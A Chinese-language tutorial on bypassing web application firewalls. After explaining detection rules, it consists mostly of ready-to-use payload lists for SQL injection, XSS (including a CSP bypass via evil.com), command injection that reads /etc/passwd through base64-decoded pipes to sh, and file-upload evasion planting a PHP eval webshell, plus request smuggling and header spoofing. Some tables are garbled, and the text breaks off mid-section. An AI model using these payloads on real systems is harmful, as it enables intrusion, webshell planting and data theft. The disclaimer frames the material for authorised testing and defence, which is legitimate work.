【提示】 本文所有技术内容仅用于授权测试、安全学习和合规防御研究。未经授权对任何系统进行 WAF 绕过测试属于违法行为,作者及平台不承担任何法律责任。请确保在获得书面授权后开展所有测试活动,并严格遵守《网络安全法》《数据安全法》《个人信息保护法》等相关法律法规。本文旨在帮助防御方理解攻击思路,从而构建更坚固的安全体系。
1. 引言:为什么需要研究 WAF 绕过
Web 应用防火墙(Web Application Firewall,WAF)是当前 Web 安全防御体系的核心组件。根据 OWASP 统计,超过 70% 的企业在其 Web 应用前部署了 WAF。然而 WAF 并非银弹:规则更新滞后、协议解析差异、编码变形空间巨大,使得攻击者总有可乘之机。
研究 WAF 绕过的意义在于:
- 红队视角:在授权渗透测试中评估 WAF 的实际防护能力,发现规则盲区
- 蓝队视角:理解攻击者的绕过思路,反向加固 WAF 规则与检测引擎
- 架构视角:认识 WAF 的能力边界,推动纵深防御而非单点依赖
本文将系统拆解 WAF 的检测机制,并给出 SQL 注入、XSS、命令注入、文件上传等场景下的绕过技术,配合自动化脚本与靶场实战,帮助安全工程师建立完整的 WAF 攻防知识体系。
2. WAF 基础原理
2.1 WAF 定义与部署模式
WAF 工作在 HTTP/HTTPS 应用层,通过对请求与响应内容进行深度检测,识别并拦截 SQL 注入、XSS、命令注入、文件上传等 Web 攻击。不同的部署模式决定了 WAF 的检测位置与覆盖范围。
| 部署模式 | 部署位置 | 透明性 | 性能开销 | 适用场景 |
|---|---|---|---|---|
| 反向代理 | Web 服务器前端,作为反向代理 | 需改 DNS/路由 | 中 | 标准企业 Web 防护 |
| 透明代理 | 串联在网络链路,二层透明 | 对应用透明 | 中 | 不便改架构的内网防护 |
| 主机 Agent | 安装在 Web 服务器本机 | 单机部署 | 低 | 单机加固、云主机 |
| 云 WAF | DNS 解析指向云端清洗 | 改 DNS 即可 | 云端承担 | 中小企业、快速接入 |
| 旁路镜像 | 镜像流量异步检测 | 仅告警不阻断 | 不影响业务 | 监控审计、误报评估 |
2.2 WAF 检测引擎分类
WAF 的核心是其检测引擎,不同引擎决定了绕过难度。
| 检测引擎 | 原理 | 优势 | 局限 | 绕过难度 |
|---|---|---|---|---|
| 正则匹配 | 基于正则表达式匹配特征 | 规则清晰、可定制 | 表达式有限、易绕过 | 中 |
| 语义分析 | 解析为 AST/IR 再分析 | 抗变形、低误报 | 性能开销大 | 高 |
| 机器学习 | 基于模型识别异常请求 | 可发现未知攻击 | 可被对抗样本欺骗 | 高 |
| 行为分析 | 基于请求频率/序列分析 | 检测自动化扫描 | 难精确拦截单次攻击 | 高 |
| 信誉评分 | 结合 IP/UA/Geo 评分 | 阻断恶意源 | 需积累数据 | 中 |
2.3 主流 WAF 产品对比
了解主流产品的检测能力有助于制定针对性绕过策略。
| WAF 产品 | 检测引擎 | 规则集 | 部署模式 | 特点 |
|---|---|---|---|---|
| ModSecurity | 正则 + 插件 | OWASP CRS | 反向代理/主机 | 开源、规则透明 |
| Cloudflare | 正则 + ML | Managed Rules | 云 WAF | 全球边缘节点、ML 增强 |
| Akamai | 正则 + 行为 | Kona Rules | 云 WAF | 大流量清洗能力 |
| 阿里云 WAF | 正则 + 语义 | 自研规则集 | 云 WAF | 国内合规、语义引擎 |
| 腾讯云 WAF | 正则 + AI | 自研规则集 | 云 WAF | AI 引擎、Bot 管理 |
| 长亭雷池 | 语义分析为主 | 自研 | 反向代理 | 语义引擎、低误报 |
| 安恒明御 WAF | 正则 + 行为 | 自研 | 反向代理/透明 | 国内合规、等保 |
2.4 WAF 规则集
| 规则集 | 来源 | 维护方 | 覆盖范围 |
|---|---|---|---|
| OWASP CRS | 开源社区 | OWASP/Coreruleset | OWASP Top 10 全覆盖 |
| SNX 规则 | 商业 | 各厂商自研 | 厂商定制场景 |
| 自定义规则 | 用户编写 | 企业安全团队 | 业务逻辑防护 |
2.5 WAF vs IPS vs IDS
这三者常被混淆,理解差异有助于判断绕过目标。
| 维度 | WAF | IPS | IDS |
|---|---|---|---|
| 工作层 | 应用层(HTTP) | 网络层~应用层 | 网络层~应用层 |
| 检测对象 | HTTP 请求/响应 | 全流量报文 | 全流量报文 |
| 部署方式 | 反向代理/云 | 串联 | 旁路 |
| 动作 | 阻断/告警 | 阻断 | 仅告警 |
| 规则粒度 | 应用语义 | 特征签名 | 特征签名 |
【提示】 WAF 关注 HTTP 语义,IPS/IDS 关注网络报文特征。WAF 绕过的核心是利用 HTTP 解析与语义理解的差异。
3. WAF 检测机制分析
3.1 请求解析流程
WAF 处理一个 HTTP 请求的完整流程如下,每个环节都可能成为绕过切入点。
客户端请求
│
▼
[1] HTTP 协议解析 ── 方法、URI、版本、头解析
│
▼
[2] 分块解码 ── 处理 Transfer-Encoding: chunked
│
▼
[3] 内容解压 ── 处理 Content-Encoding: gzip/deflate
│
▼
[4] 参数解析 ── Query String / Body / Cookie 解码
│ URL 解码、HTML 解码、Base64 解码
│
▼
[5] 规则匹配 ── 正则 / 语义 / ML 引擎匹配
│
▼
[6] 动作执行 ── 阻断 / 告警 / 记录 / 验证码 / 挑战
│
▼
后端应用
绕过的核心思路:让 WAF 在 1~4 解析出的内容"无害",而后端应用解析出的内容"有害"。这种解析差异是几乎所有 WAF 绕过的根本原理。
3.2 正则表达式检测原理(OWASP CRS 解析)
以 OWASP CRS 检测 SQL 注入的规则为例:
SecRule ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer \
"@rx (?i)(?:union\s+(?:all\s+)?select|select\s+.*\s+from|insert\s+into|drop\s+table|update\s+.*\s+set|delete\s+from)" \
"id:942100,\
phase:2,\
t:none,t:urlDecodeUni,t:normalizePathWin,t:lowercase,\
msg:'SQL Injection Attack Detected',\
logdata:'Matched Data: %{MATCHED_VAR}',\
severity:CRITICAL,\
ctl:auditLogParts=+E"
该规则关键点:
(?i)大小写不敏感,故简单大小写混写无效t:urlDecodeUni会先做 URL 解码与 Unicode 解码,故单层 URL 编码无效t:lowercase转小写后匹配- 匹配
union select、select...from等组合特征
【提示】 绕过正则规则的关键:破坏特征词的连续性(注释/换行/等价函数),或使用规则未覆盖的等价语法。
3.3 语义分析与机器学习检测
语义分析引擎会将 SQL 语句解析为抽象语法树(AST),再判断是否符合注入语义。例如将 1' union select 1,2,3 -- 解析后识别为多语句联合查询。机器学习引擎则基于大量正常/恶意请求训练分类模型。
| 引擎类型 | 检测逻辑 | 绕过思路 |
|---|---|---|
| 语义分析 | 解析为 AST,判断注入语义 | 构造语法合法但语义等价的变形 |
| 机器学习 | 特征向量分类 | 拟合正常分布、降低异常分数 |
3.4 WAF 动作分类
| 动作 | 行为 | HTTP 响应特征 | 场景 |
|---|---|---|---|
| 阻断(Block) | 拦截请求 | 403/406/自定义页 | 高置信度攻击 |
| 告警(Alert) | 放行并告警 | 200 正常 | 低置信度、灰度 |
| 记录(Log) | 仅记录不干预 | 200 正常 | 审计分析 |
| 验证码(CAPTCHA) | 返回验证挑战 | 302/200 | 自动化扫描防护 |
| 挑战(Challenge) | JS/cookie 挑战 | 503/JS 跳转 | Bot 识别 |
| 限速(Rate Limit) | 超限拒绝 | 429 | 暴力破解防护 |
3.5 完整规则解析示例
下面是一条 ModSecurity 规则的逐字段解析:
SecRule REQUEST_URI|ARGS|REQUEST_HEADERS "@rx (?i)(?:<script|onerror\s*=|javascript:|<img[^>]+src)" \
"id:941110,\
phase:2,\
block,\
t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhitespace,\
msg:'NoScript XSS InjectionChecker: Script Tag',\
tag:'application-multi',tag:'language-html',\
severity:CRITICAL"
| 字段 | 值 | 说明 |
|---|---|---|
| 匹配目标 | REQUEST_URI/ARGS/HEADERS | 检测 URI、参数、请求头 |
| 正则 | script/onerror/javascript:/img src | XSS 特征 |
| id | 941110 | 规则唯一标识 |
| phase | 2 | 请求体阶段匹配 |
| 转换 | urlDecodeUni/htmlEntityDecode | 先 URL 解码、HTML 实体解码 |
| 动作 | block | 阻断 |
| 严重度 | CRITICAL | 严重等级 |
4. SQL 注入 WAF 绕过
4.1 注释绕过
利用 SQL 注释的多种形式破坏关键字连续性。
| 注释类型 | 形式 | 示例 |
|---|---|---|
| 内联注释 | /**/ |
sel/**/ect |
| 嵌套注释 | /*/**/*/ |
sel/*/**/*/ect |
| 条件注释 | /*!...*/ |
/*!50000select*/ |
| 行注释 | --、# |
1 -- 、1%23 |
原payload:union select 1,2,3
注释绕过:union/**/select/**/1,2,3
嵌套绕过:union/*/**/*/select/*/**/*/1,2,3
条件注释:/*!50000union*//*!50000select*/1,2,3
4.2 编码绕过
| 编码方式 | 编码示例 | 解码后 |
|---|---|---|
| URL 编码 | %73elect |
select |
| 双重 URL | %2573elect → %73elect |
select |
| Hex 编码 | 0x73656c656374 |
select(字符串) |
| Char 编码 | char(115,101,108,101,99,116) |
select |
| Unicode | %u0073elect |
select |
| Base64 | c2VsZWN0 |
select |
4.3 等价函数替换表
MySQL 中存在大量等价函数,可绕过基于关键字的检测。
| 原函数/关键字 | 等价替换 | 说明 |
|---|---|---|
sleep(5) |
benchmark(50000000,sha1(1)) |
时间盲注延时 |
sleep(5) |
get_lock('a',5) |
基于锁的延时 |
substr() |
mid()、substring() |
截取字符串 |
ascii() |
ord() |
取 ASCII 值 |
concat() |
group_concat()、concat_ws() |
字符串连接 |
information_schema |
sys schema、mysql.innodb_table_stats |
元数据查询 |
user() |
@@hostname、current_user()、system_user() |
当前用户 |
database() |
schema() |
当前数据库 |
version() |
@@version、@@global.version |
版本信息 |
= |
like、rlike、in、between、regexp |
比较运算 |
and |
&&、& |
逻辑与 |
or |
` | |
union |
union distinct、union all |
联合查询 |
4.4 空格绕过
| 绕过字符 | 说明 | 示例 |
|---|---|---|
/**/ |
内联注释 | union/**/select |
%0a |
换行 | union%0aselect |
%09 |
Tab | union%09select |
%0b |
垂直 Tab | union%0bselect |
%0c |
换页 | union%0cselect |
%a0 |
不间断空格 | union%a0select |
+ |
URL 空格 | union+select |
() |
括号 | union(select(1)) |
| 反引号 | 系统函数 | unionselect`` |
4.5 关键字绕过
| 技术 | 形式 | 示例 |
|---|---|---|
| 大小写混写 | 改变大小写 | sELect、UnIoN |
| 双写 | 重复关键字 | selselectect(过滤 select 后剩余 select) |
| 嵌套 | 内联注释包裹 | un/**/ion、se/**/lect |
| having 替换 | 无 union 报错 | 1' having 1=1-- |
| ` | ` 替换 |
4.6 HPP(HTTP 参数污染)
利用后端对重复参数处理差异绕过。
WAF 看到:id=1&id=union select 1,2,3
后端取值:id=1 union select 1,2,3 (ASP.NET 取拼接,PHP 取最后一个)
| 后端语言 | 重复参数取值 | 利用方式 |
|---|---|---|
| ASP.NET | 逗号拼接 | id=1/*&id=*/union select |
| PHP | 取最后一个 | id=1&id=union select |
| Java | 取第一个 | id=union/*&id=*/select |
| Python | 取第一个 | 同 Java |
4.7 分块传输绕过
利用 Transfer-Encoding: chunked 让 WAF 不组装完整请求。
POST /inject.php HTTP/1.1
Transfer-Encoding: chunked
3
unio
3
n s
3
ele
2
ct
0
4.8 SQL 注入 WAF 绕过 Payload 集
# 注释绕过
union/**/select/**/1,2,3
union/*/**/*/select/*/**/*/1,2,3
/*!50000union*//*!50000select*/1,2,3
union%0aselect%0a1,2,3
union%09select%091,2,3
union%0bselect%0b1,2,3
union%0cselect%0c1,2,3
union%a0select%a01,2,3
union(select(1),(2),(3))
un/**/ion/**/sel/**/ect/**/1,2,3
# 编码绕过
0x73656c656374 (hex select)
char(115,101,108,101,99,116) (char select)
%75nion %73elect 1,2,3
UNIunionON SELselectECT 1,2,3 (双写)
%u0075nion %u0073elect 1,2,3 (unicode)
# 等价函数
and (select 1 from(select benchmark(50000000,sha1(1))a)=1)
and (select 1 from(select sleep(5))a)=1) -- benchmark/sleep等价
select mid(user(),1,1) -- substr等价
select ord(mid(user(),1,1)) -- ascii等价
select group_concat(table_name) from sys.schema_table_statistics
select table_name from mysql.innodb_table_stats where database_name=database()
# 空格绕过
union(select(1),(2),(3))
union`select`1,`2`,`3`
select(group_concat(table_name))from(information_schema.tables)
1'unun//ionion sel//ect 1,2,3-- -
1'union%a0select%a01,2,3%23
# 关键字绕过
1' having 1=1-- -
1'||'1'='1
1'&&'1'='1
1' un/**/ion a/**/ll sel/**/ect 1,2,3-- -
1'uni%0aon se%0alect 1,2,3%23
# 报错注入绕过
1' and extractvalue(1,concat(0x7e,(select user())))-- -
1' and updatexml(1,concat(0x7e,(select user())),1)-- -
1' and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
1' and exp(~(select * from(select user())a))-- -
1' and (select * from(select bind_address from mysql.user)a)-- -
# 布尔盲注绕过
1'&&mid(user(),1,1)='r'-- -
1'&&ord(mid(user(),1,1))=114-- -
1'&&substr((select user()),1,1)like'r'-- -
1'&&left(user(),1)like'r'-- -
# 时间盲注绕过
1'&&if(1=1,sleep(5),0)-- -
1'&&if(mid(user(),1,1)='r',benchmark(50000000,sha1(1)),0)-- -
1'&&case when(mid(user(),1,1)='r')then sleep(5)else 0 end-- -
1'&&(select*from(select sleep(5))a)-- -
# HPP
?id=1/**/&id=union/*&id=*/select/*&id=*/1,2,3
?id=1&id=union select 1,2,3 (php取最后)
【提示】 实战中应先用等价函数测试哪些被过滤,再组合多种技术。从最简单的注释绕过开始,逐步升级到编码+等价函数组合。
5. XSS WAF 绕过
5.1 标签绕过
当 script 标签被过滤,可使用大量支持事件或可执行 JS 的标签。
| 原标签 | 替代标签 | 触发方式 |
|---|---|---|
<script> |
<img src=x onerror=...> |
图片加载错误 |
<script> |
<svg onload=...> |
SVG 加载 |
<script> |
<body onload=...> |
body 加载 |
<script> |
<iframe src=javascript:...> |
iframe |
<script> |
<video src=x onerror=...> |
视频错误 |
<script> |
<audio src=x onerror=...> |
音频错误 |
<script> |
<details open ontoggle=...> |
details 切换 |
<script> |
<marquee onstart=...> |
marquee 开始 |
<script> |
<textarea onfocus=... autofocus> |
textarea 聚焦 |
<script> |
<svg><animate onbegin=...> |
SVG 动画开始 |
5.2 事件绕过
| 原事件 | 替代事件 |
|---|---|
onerror |
onload、onclick、onmouseover |
onerror |
ontoggle(details) |
onerror |
onfocus(input/textarea) |
onerror |
onanimationstart(CSS 动画) |
onerror |
onpointerenter、ontouchstart |
5.3 编码绕过
| 编码方式 | 编码示例 | 解码后 |
|---|---|---|
| HTML 实体 | <script> |
<script> |
| 十进制 | <script> |
<script> |
| 十六进制 | <script> |
<script> |
| Unicode | \u003cscript\u003e |
<script> |
| JSFuck | [][(![]+[])... |
任意 JS |
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)> # HTML实体
<img src=x onerror=alert(1)> # 十六进制实体
<svg/onload=alert(1)>
<svg/onload=aler\u0074(1)> # Unicode
<img src=x onerror=eval(atob('YWxlcnQoMSk='))> # Base64
<img src=x onerror=eval(name)> # name属性
5.4 过滤绕过
| 技术 | 形式 | 示例 |
|---|---|---|
| 双写 | 重复关键字 | scrscriptipt(过滤后剩 script) |
| 大小写混写 | 改变大小写 | ScRiPt |
| 空格插入 | 标签内插空格 | <script x>alert(1)</script> |
| 斜杠插入 | 标签内插斜杠 | <script/x>alert(1)</script> |
| 注释插入 | 内联注释 | <scri<!-- -->pt>alert(1)</script> |
| 编码插入 | 实体编码 | <script> |
5.5 CSP 绕过
当目标部署了内容安全策略(CSP),需利用 CSP 允许的源。
| CSP 绕过 | 技术原理 | 示例 |
|---|---|---|
| CDN 利用 | 利用白名单 CDN | jquery CDN 加载恶意 JS |
| JSONP | 利用白名单 JSONP 接口 | ?callback=alert(1)// |
| Angular 模板注入 | 利用白名单 angular | {``{constructor.constructor('alert(1)')()}} |
| base 标签 | 改变相对路径源 | <base href=//evil.com> |
| name 属性 | window.name 跨域传值 | window.name 注入 |
| CDN 覆盖 | 覆盖 CDN 上的库 | prototype 污染 |
5.6 XSS WAF 绕过 Payload 集
# 标签绕过
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<svg><animate onbegin=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<video><source onerror=alert(1)>
<a href=javascript:alert(1)>x</a>
<form><button formaction=javascript:alert(1)>x</button></form>
<isindex action=javascript:alert(1) type=submit>
<img src=x:alert(alt) onerror=eval(src) alt=Xss>
<svg><script>alert(1)</script></svg>
# 事件绕过
<img src=x onerror=alert(1)>
<img src=x onload=alert(1)>
<img src=x onclick=alert(1)>
<img src=x onmouseover=alert(1)>
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<svg><animateMotion onbegin=alert(1)>
<style>@keyframes x{from{opacity:0}to{opacity:1}}div{x:1}</style>
<div style=animation:x onanimationstart=alert(1)>
# 编码绕过
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=eval(name)>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=eval('\u0061lert(1)')>
<svg/onload=eval(atob('YWxlcnQoMSk='))>
<a href="javascript:alert(1)">x</a>
<a href="java	script:alert(1)">x</a>
<a href="jav	ascript:alert(1)">x</a>
# 过滤绕过
<scrscriptipt>alert(1)</scrscriptipt>
<ScRiPt>alert(1)</ScRiPt>
<script x>alert(1)</script>
<script/x>alert(1)</script>
<script/*>alert(1)</script>
<scri<!-- -->pt>alert(1)</scri<!-- -->pt>
<img/src=x/onerror=alert(1)>
<img src=x:onerror=alert(1)>
# CSP绕过
<script src=//cdn.jquery.com/jquery.js></script> (CDN)
<script src=//allowed.com/jsonp?callback=alert(1)//></script> (JSONP)
<div ng-app>{{constructor.constructor('alert(1)')()}}</div> (Angular)
<base href=//evil.com> (base)
<img src=x onerror=eval(name)> window.name=alert(1)
6. 命令注入 WAF 绕过
6.1 命令分隔符绕过
| 分隔符 | 说明 | 示例 |
|---|---|---|
; |
顺序执行 | id;whoami |
| ` | ` | 管道 |
| ` | ` | |
&& |
逻辑与 | id&&whoami |
& |
后台执行 | id&whoami |
%0a |
换行 | id%0awhoami |
%0d |
回车 | id%0dwhoami |
%0a%0d |
CRLF | id%0a%0dwhoami |
6.2 命令替换表
| 原命令 | 替换命令 | 说明 |
|---|---|---|
cat |
tac、more、less、head、tail |
读文件 |
cat |
strings、xxd、od -c |
二进制方式读 |
ls |
dir、find、echo * |
列目录 |
id |
whoami、who am i |
身份 |
whoami |
id |
身份 |
ifconfig |
ip addr |
网络配置 |
uname -a |
cat /proc/version |
系统信息 |
6.3 编码绕过
# Hex编码
echo -ne "\x63\x61\x74" | sh # cat
# Octal编码
echo -ne "\143\141\164" | sh # cat
# Base64编码
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # cat /etc/passwd
# $()执行
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d) # cat /etc/passwd
6.4 通配符绕过
利用 shell 通配符匹配绕过关键字检测。
# 通配符
/???/??t /???/??ss?? # /bin/cat /etc/passwd
/???/??? /????/??ss?? # /bin/cat /etc/passwd
/???/??t /???/??ssw? # /bin/cat /etc/passwd
/b??/c?t /e??/p??swd # /bin/cat /etc/passwd
6.5 变量绕过
| 变量 | 含义 | 示例 |
|---|---|---|
$IFS |
内部字段分隔符(空格/Tab/换行) | cat$IFS/etc/passwd |
${IFS} |
同上 | cat${IFS}/etc/passwd |
$9 |
第9个位置参数(空) | cat$9/etc/passwd |
$@ |
空 | cat$@/etc/passwd |
6.6 反引号与 $() 绕过
# 反引号
`cat /etc/passwd`
w`h`o`a`m`i # whoami(拼接)
# $()命令替换
$(cat /etc/passwd)
$(w`h`oami) # whoami
# 变量拼接
a=ca;b=t;$a$b /etc/passwd # cat /etc/passwd
a=c;b=at;$a$b /etc/passwd
6.7 命令注入 WAF 绕过 Payload 集
# 分隔符
;id
|id
||id
&&id
&id
%0aid
%0did
%0a%0did
%0a%0did
# 命令替换
;whoami
|tac /etc/passwd
|more /etc/passwd
|less /etc/passwd
|head /etc/passwd
|tail /etc/passwd
|strings /etc/passwd
|xxd /etc/passwd
|od -c /etc/passwd
|dir
|find / -name *.txt
# 编码
;echo -ne "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | sh
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
;$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
;`echo Y2F0IC9ldGMvcGFzc3dk | base64 -d`
# 通配符
;/???/??t /???/??ss??
;/???/??t /????/??ss??
;/???/??t /???/??ssw?
;/b??/c?t /e??/p??swd
;/???/??? /????/??ss??
# 变量
;cat$IFS/etc/passwd
;cat${IFS}/etc/passwd
;cat$9/etc/passwd
;cat$@/etc/passwd
;cat$IFS$9/etc/passwd
# 拼接
;a=ca;b=t;$a$b /etc/passwd
;a=c;b=at;$a$b /etc/passwd
;w`h`o`a`m`i
;`w`h`o`a`m`i`
;$(w`h`oami)
# 反引号与$()
;`cat /etc/passwd`
;$(cat /etc/passwd)
;`w`h`o`a`m`i`
;$(whoami)
7. 文件上传 WAF 绕过
7.1 Content-Disposition 绕过
| 技术 | 形式 | 示例 |
|---|---|---|
| filename 变换 | 改写为 filename= | filename="shell.php" |
| 多 filename | 多个 filename 头 | 不同服务器取值不同 |
| 编码 filename | URL/Base64 | filename=%73hell.php |
| 双引号 | 双引号 | filename="shell.php" |
| 单引号 | 单引号 | filename='shell.php' |
| 无引号 | 无引号 | filename=shell.php |
# filename变换
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Disposition: form-data; name="file"; filename=shell.php
Content-Disposition: form-data; name="file"; filename='shell.php'
Content-Disposition: form-data; name="file"; filename="shell.php";
# 多filename
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"
# 编码filename
Content-Disposition: form-data; name="file"; filename="shell%2Ephp"
Content-Disposition: form-data; name="file"; filename*=utf-8''shell.php
7.2 Content-Type 绕过
Content-Type: application/octet-stream # 通用二进制
Content-Type: image/jpeg # 伪装图片
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain # 伪装文本
Content-Type: application/x-php # php类型
7.3 boundary 绕过
# 变换boundary大小写
Content-Type: multipart/form-data; boundary=----Boundary
Content-Type: multipart/form-data; BOUNDARY=----Boundary
# 重复boundary头
Content-Type: multipart/form-data; boundary=----A
Content-Type: multipart/form-data; boundary=----B
# boundary前缀垃圾数据
------Boundary
垃圾数据填充
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
7.4 数据混淆绕过
# 大量垃圾数据(超出WAF检测长度限制)
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
AAAA...(10MB垃圾数据)...
<?php @eval($_POST['cmd']);?>
# 分块传输
Transfer-Encoding: chunked
# 多部分嵌套
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: multipart/form-data; boundary=--Inner
----Inner
Content-Disposition: form-data; name="file"; filename="shell.php"
<?php @eval($_POST['cmd']);?>
----Inner--
------Boundary--
7.5 文件名绕过
| 技术 | 示例 | 说明 |
|---|---|---|
| 空格 | shell .php |
末尾空格 |
| 点 | shell.php. |
末尾点 |
| 特殊字符 | shell.p*hp |
通配 |
| 双扩展名 | shell.php.jpg |
Apache 解析 |
| 大小写 | shell.PHP、shell.PhP |
大小写 |
| 空字节 | shell.php%00.jpg |
截断 |
| 空格点 | shell.php . |
Windows |
7.6 文件上传 WAF 绕过 Payload 集
# Content-Disposition变换
Content-Disposition: form-data; name="file"; filename=shell.php
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Disposition: form-data; name="file"; filename='shell.php'
Content-Disposition: form-data; name="file"; filename="shell.php";
Content-Disposition: form-data; name="file"; filename=shell%2ephp
Content-Disposition: form-data; name="file"; filename*=utf-8''shell.php
Content-Disposition: form-data; name="file"; xfilename="shell.php"
# 多filename
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"
# Content-Type变换
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream
Content-Type: text/plain
Content-Type: application/x-php
# 文件名绕过
filename="shell.PHP"
filename="shell.PhP"
filename="shell.php "
filename="shell.php."
filename="shell.php.jpg"
filename="shell.php%00.jpg"
filename="shell.p.hp"
filename="shell.php::$DATA" # Windows NTFS流
# boundary绕过
Content-Type: multipart/form-data; BOUNDARY=----Boundary
Content-Type: multipart/form-data; boundary=----Boundary; boundary=----B
Content-Type: multipart/form-data; boundary=----Boundary
# 数据混淆
Content-Disposition: form-data; name="file"; filename="shell.php"
(大量垃圾数据填充10KB+)
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']);?>
# 分块传输
Transfer-Encoding: chunked
4
POST
0
# 图片马绕过(绕过内容检测)
GIF89a
<?php @eval($_POST['cmd']);?>
保存为 shell.gif,配合 Apache 解析漏洞
# .htaccess绕过
AddType application/x-httpd-php .gif
配合上传 .gif 内含 php 代码
# .user.ini绕过
auto_prepend_file=shell.jpg
配合上传 shell.jpg 内含 php 代码
8. 通用 WAF 绕过技术
8.1 HTTP 方法绕过
某些 WAF 仅检测 GET/POST,切换方法可绕过。
| 原方法 | 替换方法 | 说明 |
|---|---|---|
| GET | POST | 切换为 POST |
| POST | PUT | PUT 方法 |
| POST | DELETE | DELETE 方法 |
| POST | PATCH | PATCH 方法 |
| POST | CUSTOM | 自定义方法 |
8.2 协议绕过
| 协议 | 说明 | 绕过原理 |
|---|---|---|
| HTTP/0.9 | 无头简单响应 | WAF 可能不解析 |
| HTTP/2 | 二进制分帧 | WAF 可能不解析帧 |
| HTTP/3 | QUIC/UDP | WAF 可能不支持 |
| WebSocket | 全双工 | WAF 可能不检测 |
8.3 请求走私绕过
利用前后端对 Content-Length(CL)与 Transfer-Encoding(TE)解析差异。
| 类型 | 原理 | 利用方式 |
|---|---|---|
| CL.TE | 前端用 CL,后端用 TE | TE 分块,CL 截断 |
| TE.CL | 前端用 TE,后端用 CL | CL 截断,TE 分块 |
| TE.TE | 双方都 TE 但有歧义 | 变形 TE 头 |
# CL.TE请求走私
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
8.4 分块传输绕过
# 标准chunked
Transfer-Encoding: chunked
5
hello
0
# 变形chunked(绕过WAF识别)
Transfer-Encoding: chunked
Transfer-Encoding: x
5
hello
0
# 末尾chunk省略
Transfer-Encoding: chunked
5
hello
(无0结尾,部分服务器接受)
# chunked+非标准
Transfer-Encoding: chunked, identity
8.5 其他通用绕过
| 技术 | 原理 | 示例 |
|---|---|---|
| Pipeline | 管道多个请求 | 一次发送多个请求 |
| Content-Length 差异 | CL 与实际不符 | 误导 WAF 截断 |
| Host 头绕过 | 改 Host 头 | 直连源站 |
| X-Forwarded-For | 改 XFF 头 | 伪装可信 IP |
# Host头绕过(绕过云WAF直连源站)
Host: origin.example.com
# 通过真实IP直连,绕过云WAF
# X-Forwarded-For绕过(伪装可信IP)
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 10.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
# Pipeline绕过
Connection: keep-alive
(一次TCP连接发送多个请求,部分WAF只检测第一个)
# Content-Length差异
Content-Length: 0
(实际发送长body,误导WAF认为空请求)
9. 编码与混淆技术
9.1 编码方式对比表
| 编码方式 | 编码示例 | WAF 解码层 | 后端解码 | 绕过要点 |
|---|---|---|---|---|
| URL 编码 | %73elect |
urlDecodeUni | 浏览器/应用 | 单层易被解码 |
| 双重 URL | %2573elect |
仅一层 | 多层解码 | 利用解码次数差 |
| Unicode | %u0073elect |
unicode 解码 | 部分应用 | IIS 宽字节 |
| HTML 实体 | select |
htmlEntityDecode | 浏览器 | XSS 场景 |
| Base64 | c2VsZWN0 |
一般不解码 | 应用层 | 配合 eval |
| Hex | 0x73 |
不解码 | SQL 层 | SQL 注入 |
| Octal | \163 |
不解码 | SQL/C | 命令注入 |
| UTF-7 | +ADw-script+AD4- |
不解码 | IE | 旧 IE XSS |
| JSFuck | [][(![]+[])... |
不解码 | JS 引擎 | XSS |
9.2 多层编码链
组合多种编码,使 WAF 解码层数不足。
原始:union select
URL编码:union%20select
双重URL:union%2520select
Unicode+URL:%u0075nion%20select
Hex+URL:0x75nion%20select
# 链式解码
原始:alert(1)
Base64:YWxlcnQoMSk=
URL编码Base64:YWxlcnQoMSk%3D
eval(atob('YWxlcnQoMSk%3D'))
9.3 Unicode 规范化利用
利用 Unicode 规范化(NFKC)将全角字符转为半角,或利用同形字符。
SELECT (全角,NFKC后变 SELECT)
ℰ (特殊Unicode,部分解析器接受)
9.4 字符集混淆
| 技术 | 原理 | 示例 |
|---|---|---|
| charset 变换 | 改变字符集 | Content-Type: text/html; charset=ibm037 |
| Accept-Charset | 改变接受字符集 | 不同编码下 WAF 解析差异 |
| 编码检测差异 | WAF 与应用解码不同 | 宽字节注入 %bf%27 |
9.5 编码绕过完整方案
# SQL注入多层编码
原始:union select 1,2,3
方案1:union/**/select/**/1,2,3 (注释)
方案2:un%69on%20sel%65ct (混合URL+注释)
方案3:0x75nion select (hex)
方案4:%u0075nion%20select (unicode)
# XSS多层编码
原始:<script>alert(1)</script>
方案1:<img src=x onerror=alert(1)> (标签替换)
方案2:<svg onload=eval(name)> (事件+name)
方案3:<img src=x onerror=eval(atob('YWxlcnQoMSk='))> (Base64)
方案4:<svg/onload=eval('\u0061lert(1)')> (Unicode)
# 命令注入多层编码
